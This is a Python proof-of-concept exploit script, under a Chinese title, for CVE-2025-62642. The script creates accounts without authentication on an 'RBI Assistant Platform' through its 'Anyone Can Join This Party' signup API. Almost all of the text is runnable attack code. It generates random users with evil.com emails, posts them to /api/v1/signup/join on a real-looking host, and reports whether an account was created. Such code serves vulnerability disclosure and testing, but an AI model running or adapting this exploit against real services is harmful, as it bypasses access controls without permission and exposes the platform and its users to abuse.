CVE-2025-62642 RBI助手平台未授权账户创建漏洞

#!/usr/bin/env python3 """ CVE-2025-62642 PoC - RBI Assistant Platform Unauthenticated Account Creation This PoC demonstrates how an unauthenticated attacker can create a user account on the RBI Assistant Platform via the "Anyone Can Join This Party" signup API. """ import requests import json import random import string def generate_random_user(): """Generate random user data for account creation.""" random_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) return { "email": f"attacker_{random_str}@evil.com", "password": "P@ssw0rd123!", "firstName": "Test", "lastName": f"User{random_str}", "phone": "+1555" + ''.join(random.choices(string.digits, k=7)) } def exploit_signup_api(base_url, user_data): """ Exploit the 'Anyone Can Join This Party' signup API. No authentication required - directly create a user account. """ # The vulnerable signup endpoint - no auth required signup_endpoint = f"{base_url}/api/v1/signup/join" headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; PoC)" } try: # Send unauthenticated POST request to create account response = requests.post( signup_endpoint, headers=headers, json=user_data, timeout=10 ) if response.status_code in [200, 201]: print(f"[+] Account created successfully!") print(f"[+] Email: {user_data['email']}") print(f"[+] Response: {response.text}") return True else: print(f"[-] Failed with status code: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False def main(): # Target RBI Assistant Platform base URL base_url = "https://assistant.rbi.com" # Example endpoint print("=" * 60) print("CVE-2025-62642 - RBI Assistant Platform PoC") print("Unauthenticated Account Creation via 'Anyone Can Join This Party' API") print("=" * 60) # Generate random user data user_data = generate_random_user() print(f"\n[*] Attempting to create account: {user_data['email']}") # Exploit the vulnerability success = exploit_signup_api(base_url, user_data) if success: print("\n[!] Vulnerability confirmed - account created without authentication!") else: print("\n[*] Attempt complete. The endpoint may have been patched.") if __name__ == "__main__": main()